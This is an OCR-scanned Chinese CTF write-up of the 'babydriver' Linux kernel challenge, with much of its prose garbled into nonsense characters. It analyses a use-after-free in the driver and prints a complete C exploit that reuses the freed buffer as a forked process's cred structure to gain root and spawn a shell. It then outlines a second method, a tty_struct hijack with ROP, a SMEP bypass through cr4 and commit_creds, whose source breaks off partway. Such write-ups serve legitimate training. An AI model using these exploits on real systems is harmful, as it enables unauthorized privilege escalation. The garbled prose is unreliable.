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pwn kernel babydriver
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boot.sh bzlmage rootfs.cpio

e bootsh: EaIA. £Hgemu, RIFFEHESqemuRFEREIISHE XK.
e bzlmage: kernel&f% .
e rootfs.cpio: XM REHAE .

boot.sh &

Terminal
#! fbin/fbash
gemu-system-x86_ -initrd rootfs.cpio -kernel bzImage -append '

' -enable-kvm -monitor fdevfnull -m 64M --nographi
¢ -smp cores=1,threads=1 -cpu kvmé64,+smep -gdb tcp::

log.csdn.netim0_

FEzIgemu, AT boot.sh.

Ja Bhgemulz FUAL

Boot took 1.30 seconds

/ 5 1s

.

bin etc init linuxrc root
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home b proc sbin tmp
cat init
1s

etc linuxrc root Sys
home proc sbin tmp

whoami

cd root
: cd: can't cd to root

ERAEEERITHZIRM, REHKEag.
HE— TFintIHHE

/ § cat init
#!/bin/sh

mount -t proc none fproc

mount -t sysfs none [sys

mount -t devtmpfs devtmpfs fdev
root:root flag
400 flag

exec O</dev/console

exec 1>/dev/console

exec 2=/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev

-e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1080 sh

poweroff_-é e -f

insmodiy 4 F T8 4 & SR MER B W H . v WA INER T 62 Flib/modules/4.4.72/H 3% T ffibabydriver.ko3( . CTFH
() P9 AZ AR % #52 HH 7E In #R B 1

Iproc/modules?| i T Fi & loadi#k \ A% IR ER 51 3K «

| § cat /proc/modules
babydriver 16384 8 - Live Oxffffffffcooeeene (OE)

7] L& BlbabydriveriX MR IN#R 3 T kerneld, FHHER T HinE bt .

TR E X babydriver ko XX AT B4, & Skrootfs.cio X RAMBER, &5 MESKHA:

mkdir fs

cd fs

cp ../rootfs.cpio ./rootfs.cpio.gz
gunzip ./rootfs.cpio.gz

cpio -idmv rootfs.cpio

rm rootfs.cpio

pwn kernel babydriver Ffs
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bin ekc home lib
proc sbin Sys tmp
usr init linuxre

0x02 & & 7 #r

$KEU/lib/modules/4.4.72/babydriver. ko3, &E S B

ddw@ubuntu:~/Desktop/pwn/kernelfbabydriver/fs/lib/modules/4.4.72% file babydrive
r.ko

babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha
1]=8ec63f63d3d3b4214950edacf9e65ad76e0eB0e?, not stripped
ddw@ubuntu:~/Desktop/pwn/kernel/babydriver/fs/1lib/modules/4.4.725 checksec babyd
river.ko

[#] '/home/ddw/Desktop/pwn/kernel/babydriver/fs/lib/modules/4.4.72/babydriver.ko

Arch: amd64-64-1ittle
RELRO:

Stack:

NX:

PIE:

#6 NIDA 64bitsiE4T 53 H7

[

=R
babyrelease
babyopen
babyioctl
babywrite
babyread

babydriver_init

babydriver_exit
alloc_chrdev_region

_ class_rcreate
_copy_from_user
class_destroy

kfree
kmem_cache_allac_tracs
_ fentry_

cdev_add

dewice_create

printlk

_copy_to_uzer
unregizter_chrdev_region
dewice_destroy
cdew_init

_kmallac

cdew_del

AR RRRRE AR

babydriver_initflbabydriver_exiti& #1712 Sk B2 K TAE, ME—EBEEMZinit+ & E T /devibabydeviE
A S .

babyopenfibabyrelease 4 5% &babydev_structf4 7 4 it P 77 R A 77

477 Ebabydev_structdi —/ device buffl'e K B device_buf_lenpi &5 54 k..



aeaeaeae babydevice t strud ; (sizeof=gxla, align=6x8, copyof_429)

eleieleieletele) ; XREF: .bss:babydev_struct/r
aeaeaeae device_buf dg ? 5 XREF: babyrelease+6/r
eleieleieletele) ; babyopent+26/w ... ; offset
aeaeaeas device_buf_len dg ? 5 XREF: babyopen+2D/w
ccleiclalelory 3 babyioctl+3C/w ...

aeaeaale babydevice t ends

babyopeni% & Fikmem_cache_alloc_trace &%, 5Ec T —AM64F K/MINF 4 device_buf, KK EidR7E
device_buf_lenH:

int _ fastcall babyopen(inode *inode, file *filp)

_fentry_ (inode, filp);

babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;

printk("device openin"};

return @;

XA AE 77 A H: LM kernel b 23 FiE P9 77 BT A T kmalloc & — AN JE 2

520 static __always_inline void *kmalloc_node(size_t size, gfp_t flags, int node)
521

522 #ifndef CONMFIG_SLOB

523 if (__builtin_constant_p(size) &&

524 size <= KMALLOC_MAX_CACHE_SIZE &% !(flags & GFP_DMA)) [
525 int i = kmalloc_index(size);

526

527 if (11)

528 return ZERO_SIZE_PTR;

529

530 return kmem_cache_alloc_node_trace(kmalloc_caches[i],
531 flags, node, size);
532 1

533 #endif

534 return __kmalloc_node(size, flags, node):

535 1

536

537 struct memcg_cache_array |

538 struct rcu_head rcu;

539 struct kmem_cache *entries[®]:

548 }:

babyrelease i i F free B A 77 :

int _ fastcall babyrelease(inode *inode, file *filp)

_fentry_ (inode, filp});
kfree(babydev_struct.device_buf);
printk("device release\n™);
return &;

babywriteflibabyread i %5 (¥ Ty 58 73 7 3 W - bufferizz BU 4 & 2 device_buffll [ F F buffer’5 Adevice_buf N 2,
P ek B R X ik fE A2 5, HRAdevice_buf_leniid 7iXANKEEA T LLEATHE Wit . Big#8 e et T
Tdevice_buffgét R B AT KT, BTG ELEME.

babywrite i % :

.ssize_t _ fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
i
i osize t wd; S/ rdx

cciza + reacnlts /) raw



Soms v v mSwmsvy s e

i ssize t w63 // rbx

" _fentry_ (filp, buffer);

i if ( !babydev_struct.device buf )

[ return -1LL;

b result = -2LL;

if ( babydev_struct.device_buf_len > v4 )

i vb = wi;
copy_from_user();
i result = v6;

}

" return result;

babyread % % :

ssize_t _ fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{

size t wv4; /) rdx

ssize_t result; // rax

ssize t vb; // rbx

_fentry_ (filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev struct.device_buf len > va )

vh = wvid;
copy_to_user(buffer);
result = v&;

b

return result;

babyioctlEE# & X T — M4, & PAT AR RBIBIA Kdevice_buf, #IRAFENRRNEH SR —HRAEKX
HWhdevice_buf, i K& Fldevice_buf len .

babyioctl % :

__inte4 _ fastcall babyioctl(file *filp, unsigned int command, unsigned _ int64 arg)
{

size t v3; // rdx

size t w4; // rbx

__int64 result; // rax

_fentry_ (filp, *{_QWORD *)}&command);
vd = v3;
if ( command == 65537 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device buf = (char *) kmalloc(v4, 37748928LL);
babydev_struct.device buf_len = v4;
printk("alloc done\n™};
result = @LL;
}

glse

printk(&unk_2EB};
result = -22LL;

}

return result;

0x03 fZ i B % —. UAFf&cred
TR R A BB 2 AUk AT — e R B A .

SLAB&SLUB



kemelF & Flibc, ERATENFRISBABER, XB <8 2kmalloc&kfree APl (AT F P &)
malloc&free) . kmalloc&kfree ] SL 2B SLABESLUB L2, IME— R ZSLUBAELES . A EEEE — N2 RS WiET
HH. HitHcache)Z, cache®—NM4iH, HPREMNRISATXNGR. MOEH KX R T2 AN RETEE. W R
RIEAENER, HEHARSESE AR —3o N2 R, kmallocff fl T £/ cache, - cacheXtRi—AN2H )RR K/
M—HANF R

SLABFISLUB#S R WAZ I N FEE N . A TIREME, SLABERAAYREEEBBMAZS REE, LMETFREIE
AR EBRYBUA SR ERSLABHE#, FEFRBIFNHIERUNKNEREMTE—#, I HAFcachefI ik
SR A TISLUBBIA R A, ML BLHLHE AL

struct cred

kernel 21t & FE AR &2 i cred S MR IR R 1 . BNHEH S S — Nored Gk, HARER ZEREMAIRE L
(Uid&gid) - uid=0&gid=0%t B rooth FREFEFE . A IFIF B A7 5t BUE B2 i cred I A48 i uid=08&gid=0.

stuct cred¥BERGIN T (v4.4.72) :

struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#tdefine CRED_MAGIC 0x43736564
H#tdefine CRED_MAGIC_DEAD 0x44656144
Hendif
kuid_t wuid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel cap_t cap_inheritable; /* caps our children can inherit */
kernel cap_t cap_permitted; /* caps we're permitted */
kernel cap_t cap_effective; /* caps we can actually use */
kernel cap_t cap_bset; /* capability bounding set */
kernel cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key _ rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key auth; /* assumed request_key authority */
fendif
#ifdef CONFIG_SECURITY
*security; /* subjective LSM security */

struct user_struct *user; /* real user ID subscription */

struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */

struct rcu_head rcu; /* RCU deletion hook */

}s

S B R FRRPT S NERAD . XA Fcred S5 KK B R /DR0xa8, —HB|gid4 W28 5.




UAF#] A

BN T RI R —BA SIERIBEBE NSRS 2B, TRARCAZ W, XA K IE I K/ AU P A7 X 3 7T BL
HOESFC. XFEWRFE NN ERHERERR, REXHET —MERKNRHER, RARSEZ AT RIBRRR RIS
B . —BEFUse After FreediiF ™ £ R EIE T 5 — MHERBORHUS, $REHEH EANULL, 754848 M EH I A 77 X3,
XA SR P IS M, 25— ANt AT CARE R AB BOX AN HE BRI P 28 TG A S o

A Bk E R BB RIFAN, ERkemelFHUAFFIHEER ZLENEYE., £AH+, hTFbabydev_struct—
NERIEETE, FHEOREITARRES, FZRSENEHSEEE RN, BAWREBERTE D, BB TRAT
BB NA I, X E AT LB babyiotcl & $& ibuffer ks, BT BAFS ) B K«

o ITHFIRE%E, EiTioctl¥babydev_struct.device_bufk /N3 A i cred 4 ¥y 4 i) K /s
o BEME N, forkh—NHHSHE, XANHERcred4 ik & 7Ebabydev_struct.device_buffirig a1 1) P 77 X 35,
o fHFSE - AMEIRRF, AR writeld lit babydev_struct.device_bufi 5 A2840, NIiF7E % Euidfiigid, SZHrootiRA

EXP

#include<stdio.h>
#include<fcntl.h>
f#include <unistd.h>
int main(){
int fd1,fd2,id;
char cred[0xa8] = {0};
fd1l = open("dev/babydev",0 RDWR);
fd2 = open("dev/babydev",0 RDWR);
ioctl(fd1,0x10001,0xa8);
close(fd1);
id = fork();
if(id == 0){
write(fd2,cred,28);
if(getuid() == 0){
printf("[*]welcome root:\n");

system("/bin/sh");

return 9;

}
}
else if(id < 0){
printf("[*]fork fail\n");
}
else{
wait (NULL);
¥
close(fd2);

return 0;




G BEexp IR N RIS R4

BT Bkerneli %

cpio -o --format=newc ../rootfs.img

H tboot.shH i

-initrd rootfs.cpio

-initrd rootfs.img

V|
frRf7Hi21Tboot.sh
gemuF i iTexp

Boot took 1.25 seconds

home 1ib proc sbin tmp
exp init linuxrc root usr
.fexp

5.634960]
5.640678]
5.653550]
5.665871]

device open
device open
alloc done
device release

[*]welcome root:

/ # whoami
root

FRARI o

gdbifi X exp*f E A B

hg.csdn.net/m0




R ELvmlinux
{8 F il A extract-vmlinudR BUH 755 BIERY A B3 2 H] Blinux R Z B ] 4 /D

./extract-vmlinux ./bzImage vmlinux

Ja3hgdb

FARFER

add-symbol-file ./fs/lib/modules/4.4.72/babydriver.ko oxffffffffcoo00000

PINZ %5 73] Aababydriver kofEf# AL JG I SO R 40 B BR 42 DA R text Br itttk . kW] L E#fEqemut &

/ & cat /proc/modules
babydriver 16384 0 - Live oxffffffffcooneee8 (OE)

B hni 2 RS 805 )R 3hgemu
FEboot.shh #E Inn T 24
{RAFJG AT /boot.sh
gdbEEEFF

gdbH AT :

target remote 127.0.0.1:1234

(--= ...)
0x8420258b44659066
Ox1
0x10102464c457f

(--> ...)
0x660000441f0fc35d

(--> ...)
--> Ox441f0f66Fbc35d

t)
Stopped reason:

oxfFFffff81063636 in 27 () Joa.csdn.netimt

AT AT, RJE R ERIT, BEqemuE N iE1Texp /T IEH AKX,

gdbifi if expit £

4y H]7Ebabyopen. babyioctl. babywrite =4t T b &

b babyopen


https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux

line 28.
b babyioctl
Breakpoint 2 at exffffffffceooee8e: file fhome/atum/PWN/my/babydriver/kernelmodule/babydri
ver.c, line 56.

b babywrite
Breakpoint 3 at exffffffffceosaeafa: file fhome/atum/PWN/my/babydriver/kernelmodule/babydri
ver.c, line 48.

C
Continuing.

gemuiz{Texp

Boot took 1.29 seconds

% —Xbabyopenli T

Breakpoint 1, babyopen (inode=0xffff880003cb1c88, filp=0xffff880003ced4ena)
at fhome/fatum/PWN/my/babydriver/kernelmodule/babydriver.c:28
8 fhome/atum/PWN/my/babydriver /kernelmodule/babydriver.c: No such file or directory.

SRS LTI RIS, EF Nbabydev_structlt{E 111E A

=> OxFfffffffco000056 <babyopen+38>: mov
axfFffffffceeeansd <babyopen+45=: mov

QWORD PTR [rip+0x2473],rax
QWORD PTR [rip+8x2470],0x40

# oxffffffffcoo024do
# oxffffffffcone24ds

babydev_struct.dev_buffj ik HOXffffffffc00024d0, babydev_struct.dev_buf_lenf it A0xffffifc00024d8

BE AL AR
xf20gx Oxffffffffcoeo24de

exffffffffconnz4da: Ox0000000000000000 Ox0000000000000000
Oxffffffffcoo024e0: Ox00000000000000060 Ox0000000000000000
exffffffffcoonz4afo: Ox0000000000000000 Ox0000000000000000
Oxffffffffcoo02500: Ox00000000000000060 Ox0000000000000000
exffffffffcoonzs510: Ox0000000000000000 Ox0000000000000000
Oxffffffffcoo02520: Ox00000000000000060 Ox0000000000000000
axffffffffcoonzs530: Ox0000000000000000 Ox0000000000000000
Oxffffffffco002540: Ox00000000000000060 Ox0000000000000000
axffffffffcoonzs550: Ox0000000000000000 Ox0000000000000000
Oxffffffffcon02560: Ox00000000000000060 Ox0000000000000000
HATE# /20

AT SR IR 40

x/20gx exffffffffconaz4de

axffffffffcaan24de:
OxFFffffffcoo024en:
axffffffffcoonzafo:
axffffffffcoon2500:
axffffffffcoonz2s1o:
axffffffffcoon2520:

Oxffffffffcoonzs530:
OxFIffffffcOe02540:
Oxffffffffcoonzs550:
OxFfffffffcOe02560:

Oxffffespooobsb7ee
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000

0x0000000000000040
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000




Oxffffffffce0024d8 dev_buf len -> 0Ox

B EbufferI &

x/20gx @xffffespooobsb7o0e

Oxffff880000b8b700:
Oxffffegoooobsbrie:
Oxffff880000b8b720:
Oxffffegoooobsb73e:
Oxffff880000b8b740:
Oxffffesoo0obsb7s50:
OxfFfff880000b8b760:
Oxffffesoooobsb77o:
Oxffff880000b8b780:
Oxffff880000bsb790:

% — Rbabyopenlti T

axffffegseaoobsbedn
Oxdead@pOEAEOAO108
axffffegseaeebsbcza
0x0000000000000000
axffffegne03cdfcco
axffffeseen3cdfd3s
Ox0000000000000001
0x0000000000000000
axffffe800029e47co
0x0000000000000001

0000000000000040

Oxffff880003ccf190
0xdead00nBOOOBO200
Ox0000000000000000
0x0000000000001476
exffffageen3ccf2de
oxffffa88ee03cdfd3s
Ox0000000000000000
0x0000000000001563
Ox0000000000bOOOOG
0x0000000000000000

Breakpoint 1, babyopen (inode=0xffffg880003cb1c88, filp=exffff880003ce4den)

at fhome/fatum/PWN/my/babydriver/kernelmodule/babydriver.c:28
in /home/atum/PWN/my/babydriver/kernelmodule/babydriver.c

58— RMBEEAR, ERni— BRI EE

AaxFffIffffcOOOO056 <babyopen+38=:
=> Oxffffffffcopends5d <babyopen+45>:

} [rip+@; 3],rax de
PTR [rip+0x2470],0x40 4ds8

A LA Flbabydev_structi k7348 & Oxffffffc00024d0. 3f HiX AN itk Tz 4T £ D IREALEE
BEAR

x/20gx Oxffffffffcoo024de

axffffffffcone24de:
exffffffffconn24e0:
axffffffffcaeez4fo:
axffffffffcane2500:
axffffffffcaeezs10:
exffffffffcaeez2520:
axffffffffcaee2530:
axffffffffcaee2540:
exffffffffcoeez2550:
axffffffffcaee2560:

Pxffffffffcee024do dev_buf -> @xffff880000b8be40o

exffffagoeeebsbedd
0x0000000000000000
Ox0000000000000000
Ox0000000000000000
0x0000000000000000
0x0000000000000000
Ox0000000000000000
Ox0000000000000000
0x0000000000000000
0x0000000000000000

Ox0000000000000040
0x0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000008
Ox0000000000000000
Ox0000000000000000
0x0000000000000000
0x0000000000000000

Pxffffffffc00024d8 dev_buf_len -> 0x0000000000000040

bufferi# 17 T EHi 7 Ac .

x/20gx axffff880000b8bedn

OxfFfff880000b8bed0:
Oxffffesoo00obsbeso:
Oxffff880000b8be6O:
Oxffffesoo0obsbe7o:
Oxffff880000b8be8O:

axffffeseoaobsbegn:
OxFffff880000b8bead:
axffffeseeaobsbebs:
OxFfff880000b8becH:
axffffeseonabsbedo:

Oxffff880000b8be80O
Oxdead0onBOOOBO100
Ox0000000000000001
0x0000000000000000
Oxffff880000b8bc40
Oxdead0onBOOOBO100
Oxffff880000b8b860O
0x0000000000000000
axffff880000b8bTO0
0x0000000000000000

exffffageen3ccf2de
0xdead00nBOOOBO200
Ox0000000000000000
0x0000000000000878
Oxffff880003cct280
0xdead00nBOOOBO200
Ox0000000000000000
0x0000000000000878
Ox0000000000000000
0x0000000000000000




babyioctl# T

Breakpoint 2, babyioctl (filp=@xffff880003ced4edd, command=0x10001, arg=0xa8)

56

at fhomefatum/PWN/my/babydriver/kernelmodule/babydriver.c:56
in /homefatum/PWN/my/babydriver/kernelmodule/babydriver.c

/S ./exp
48.222769] device open
48.255173] device open

[

== Oxffffffffco0e00b5 <babyioctl+53>:
mov QWORD PTR [rip+8x2414],rax
axffffffffcoope0bc <babyioctl+608>:
mov QWORD PTR [rip+0x2415],rbx

mov QWORD PTR [rip+0x2414],rax
axffffffffcoope0bc <babyioctl+68>:
mov QWORD PTR [rip+0x2415],rbx

=> @xffffffffcooeeac3 <babyioctl+67>:

x/20gx axffffffffcoanz4de

axffffffffconnz24do:
Oxffffffffcoon24en:
axffffffffcoonzafa:
exffffffffcoonz500:
axffffffffcopez2510:
exffffffffcoonzs520:
oxffffffffcopez2530:
exffffffffcoonzs540:
oxffffffffcope2550:
axffffffffcoon2560:

oxfffffffcoee24de dev_buf -> Oxffff88e00e3d1124e
exffffffffcee024d8 dev_buf_len -> ©x00000000000000a8

exffffgseee3di124e
Ox0000000000000000
Oxooo0000000000000
Ox0000000000000000
Oxooo0000000000000
Ox0000000000000000
Oxooo0000000000000
Ox0000000000000000
Oxooo0000000000000
0x0000000000000000

x/20gx oxffff88em03d11240

exffffaseee3dil124e:
exffffaseee3d11250:
exffffaseee3d11260:
exffffaseee3di1270:
exffffaseee3di1280:
exffffaseee3d11290:
oxffff8se0e3d112a0:
exffffaseee3di12be:
oxffff88e003d112co:
exffffaseee3dilzde:

babywrite 7 T

exffffasene3diiedn
0x000003e8000003e8
0x00000000000003e8
0x0000000000000000
Ox0000003FFFFFffff
0x0000000000000000
0x0000000000000000
0x0000000000000000
exffffaseeoab7dben
exffffaseen3cddoan

call

# axffffffffconnz24de

# axffffffffcone24ds

# axffffffffconez24de

# axffffffffcone24ds

oxffffffff8118bo77

0x00000000000000a8
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000

Ox000003e8000003e8
0x000003e8000003e8
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
Oxfffffffféle410co
Ox0000000000000000

Breakpoint 3, babywrite (filp=0xffff88ee03d12500, buffer=0x7ffd7ed17e08 "", length=0x1c,

offset=0xffffe8ee00be7f18) at /home/fatum/PWN/my/babydriver/kernelmodule/babydriver.c:48
48 in fhome/atum/PWN/my/babydriver/kernelmodule/babydriver.c




/S .[/exp
38.648952] device open

[

[ 38.658274] device open

[ 38.679684] alloc done
38.700491] device release

B fork R B PAT AR, FiHFEcred 4 M ABIR A babydev_struct.dev_buffs A ) X 35

x/20gx exffffagene3di124e

exffffaseee3dil1z240:
exffffaseee3d11250:
oxffff88e003d11260:
exffffaseee3di127e:
oxffffaseee3d11280:
exffffaseee3d11290:
oxffff8se0e3d112a0:
exffffegeoe3di12bo:
exffffaseee3di12co:
oxffff880003d112d0:

0x000003e800000002
0x000003e8000003e8
0x00000000000003e8
Ox0000000000000000
Ox0000003FFFffffff
Ox0000000000000000
0x0000000000000000
0x0000000000000000
exffffaseeeab7dbes
axffff880003cdd900

0x000003e8000003e8
0x000003e8000003e8
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
Oxffffe80003ca78eld
axffffffffeled410ca
0x0000000000000000

=> OxFfffffffcoeanl23 <babywrite+51=>
axffffffffcoone125 <babywrite+53>
axffffffffcoonnl2c <babywrite+60>:
axffffffffceeeoi2d: nop DWORD PTR [rax]
axffffffffco000130 <babyread=: nop

repz ret
mov rax,oxffffffffrfffffff

-
®
=
-

DWORD PTR [rax+rax*1+0x0]

x/20gx 0xffff88em03d11240

P iTopen(“/deviptmx”, O_RDWR | O_NOCTTY) #1E&FT FrptmxX Fitty ik %, i —HRAZT0E, HAHE ty_struct
AR, HRBEWNT:

exffffaseee3dil124e:
exffffaseee3d11250:
exffffaseee3d11260:
exffffaseee3di1270:
exffffaseee3di1280:
exffffaseee3d11290:
exffffaseee3di12ae:
exffffaseee3dii1zbo:
exffffaseee3di12co:
exffffaseee3dilzde:

0x0000000000000000
0x0000000000000000
0x00000000000003e8
0x0000000000000000
Ox0000003FFFFFffff
0x0000000000000000
0x0000000000000000
0x0000000000000000
exffffaseeeab7dbes
exffffaseen3cddoen

0x0000000000000000
0x000003e800000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
Oxffffe80003ca78eld
axffffffffeled410ca
0x0000000000000000




struct tty struct {

int magic;

struct kref kref;

struct device *dev;

struct tty driver *driver;

const struct tty operations *ops; // target

int index;

/* Protects ldisc changes: Lock tty not pty */

struct 1d_semaphore ldisc_sem;

struct tty ldisc *1ldisc;

struct mutex atomic_write lock;

struct mutex legacy_mutex;

struct mutex throttle mutex;

struct rw_semaphore termios_rwsem;

struct mutex winsize mutex;

spinlock_t ctrl lock;

spinlock_t flow_lock;

/* Termios values are protected by the termios rwsem */

struct ktermios termios, termios_locked;

struct termiox *termiox; /* May be NULL for unsupported */

char name[64];

struct pid *pgrp; /* Protected by ctrl lock */

struct pid *session;

unsigned long flags;

int count;

struct winsize winsize; /* winsize_mutex */

unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;

int hw_stopped;

unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;

unsigned int receive_room; /* Bytes free for queue */

int flow_change;

struct tty_struct *link;

struct fasync_struct *fasync;

wait_queue_head_t write_wait;

wait_queue_head_t read_wait;

struct work_struct hangup_work;

void *disc_data;

void *driver_data;

spinlock_t files_lock; /* protects tty files list */

struct list_head tty_files;

ttdefine N_TTY_BUF_SIZE 4096

int closing;

unsigned char *write_buf;

int write_cnt;

/* If the tty has a pending do_SAK, queue it here - akpm */

struct work_struct SAK work;

struct tty _port *port;

__randomize_layout;

HPEBSERNEELNRRA, ERRBEALN tty_operations 4511k




struct tty operations {
struct tty struct * (*lookup)(struct tty driver *driver,
struct file *filp, int idx);
int (*install)(struct tty driver *driver, struct tty struct *tty);
void (*remove)(struct tty driver *driver, struct tty struct *tty);
int (*open)(struct tty struct * tty, struct file * filp);
void (*close)(struct tty struct * tty, struct file * filp);
void (*shutdown)(struct tty struct *tty);
void (*cleanup)(struct tty struct *tty);
int (*write)(struct tty struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty struct *tty, unsigned char ch);
void (*flush_chars)(struct tty struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty struct * tty);
void (*stop)(struct tty struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty struct *tty);
int (*break_ctl)(struct tty struct *tty, int state);
void (*flush_buffer)(struct tty struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty struct *tty, char ch);
int (*tiocmget)(struct tty struct *tty);
int (*tiocmset)(struct tty struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial icounter_struct *icount);
void (*show_fdinfo)(struct tty struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty driver *driver, int line, char *options);
int (*poll _get char)(struct tty driver *driver, int line);
void (*poll put _char)(struct tty_driver *driver, int line, char ch);
Hendif
int (*proc_show)(struct seq file *, void *);
} __randomize_layout;

HAPBRZ REIeE . XL BRAES MK, %L open #AE &l & FH H Kint (*open)(struct tty_struct * tty,
struct file * filp); R Ete 4, 15 ioctl w2 & H H Bint (Yioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg); &%, &
Y E S

MAKRBEBBRMRE T : BhS5ME—HBEEMER, iR HUAFEH —/Mty struct@ ik, SRE M E A SO R 20t 3
2 HANHL T const struct tty_operations *opsf N & AT &R, HHEHIRR— My itty_operationsZE B gk, FEIXAS
fake_tty opsH, EREFHMREFRLIEMENINE, SVTEPTHRLH ML, XERFEAZPITREE T M.

EXPIAE I RA BiRR: BIFHEENZSHAT IR shellcode—— commit_creds(prepare_kernel_cred(0)) /5, & [E A
F & #AT getshellfi%system("/bin/sh™).

T XA BARE 8L R AR ) 7 -




WRZIAT TR T 4L ?

BT IT)E TSMEPRY", #ELAT WS (ringd) HIRHETCIERAT A 2= W KA, BIE — L aE 2 & 5d SMEP
ZHTHIBb R L AR T A 2 R AR .

LA ) = Sl 2 )

RNTERGESMEP., $i4TiR#shellicode. REIF P &% — RIIAFRKERE, BIFITROP, R0 AZASREH K2R P
TEEHI AR, XEREEIITRE —SdiEsts T, HEFEHTHE SR RE8, BERiEmMABER—
AW ¥gadget, XA gadgetPiAT/a, HIBErspBE N P ATAIH TS A P 2, EXANTREFFEBRROPH, MK —&R
B3 AE

WA B ATARIE R ?

A LAFI A xchg eax,esp;ret iX4kgadget. X&IHRSPATHISERZ: raxfirspF A28 FK32ML WA B #e, 1R 32ML & 55
%, 1E ioctl . write Z R B Pl Z PATRE RIKIEA R call rax, k2 iraxh{#7F T fake_tty opst BARERRKIAZ, ED
PATIE — PR AL, R R64AN T Z B ArspH &2 WL, ER R0 M mIEZRE, rspiitam 7 H
FEsiE] . XA P HhE R T AR, Rt Rxchg eax,esp;retSzbrib bt BUK 3247 5 & . FB-4 Bt AT BUE I mmap e X 4N
Hk Bt 3 B 9 A AR B ROP#E

ISt SMEP ?

SMEPR B3 582 HCRAFTF 2 2200 & 118 £O0WE . £ mov crd,rdi;ret iX 1% ffigadgetif 1] A& 2 CRA I H 5% 1
SMEP.

tnfa #k B commit_credsHiprepare_kernel _crediX BiA™ P 4% 2 %5 i s b1k ?

ARRREATFBKASLR, Fif KA &R R B 2 i), T UEEXPHEBESI. XFAEEht{#H cat /proclkallsyms |
grep commit_creds iy A A EE, HEXNMHLSFEEHERAGHA BIIT. EFINEIHA, KI/prockallsyms i
Wi LB T tmp/kallsyms 42 F, A FE tmp/kallsymsBIT] . FREUHb AL 5 B AT CAZEEXP A 52 U 7 B R $dR 41957, #£5%
B Bk es X IR R B R B g, RBRE — AP TR RE, R Hbkshellcode_addrit AROP#H .

AT e M shellcodeja , T4 iR [a] F F2 28] ?

= EF M HRgadget.

o swapgs: HTKEGSHIE. B SIHANAKLEHR SPITEANES, BEI FFETEHIIT K

o iretq: FFPURMEIFES (64bits, 32bits T Airet) o PATTBIFKIRSTTLUREH 2 E, HEFE—ENRMR, EAR
EAPSKER. RfARmT:

e RIP

e CS

e EFLAGS
e RSP

e SS
HHMCS. EFLAGSHISSHRRI ATEEXPIZIT — AR TF. RIPEiZiretqfiHhll, RSPRH P RIiiELr, X EEHE A
KR XIEI A CZ R BARZE D o

EXP

ttdefine _GNU_SOURCE
#tinclude <stdio.h>

#tinclude <string.h>

t#tinclude <unistd.h>



<stdlib.h>
<sched.h>
<errno.h>
<pty.h>
<sys/mman.h>
<sys/socket.h>
<sys/types.h>
<sys/stat.h>
<sys/syscall.h>
<fcntl.h>
<sys/ioctl.h>
<sys/ipc.h>
<sys/sem.h>

#tdefine COMMAND 0©x10001

ttdefine ALLOC_NUM 50

struct tty_operations

{

struct tty_struct *(*lookup)(struct tty driver *, struct file *, int);
int (*install)(struct tty driver *, struct tty_struct *);

void (*remove)(struct tty driver *, struct tty_struct *);

int (*open)(struct tty_struct *, struct file *);

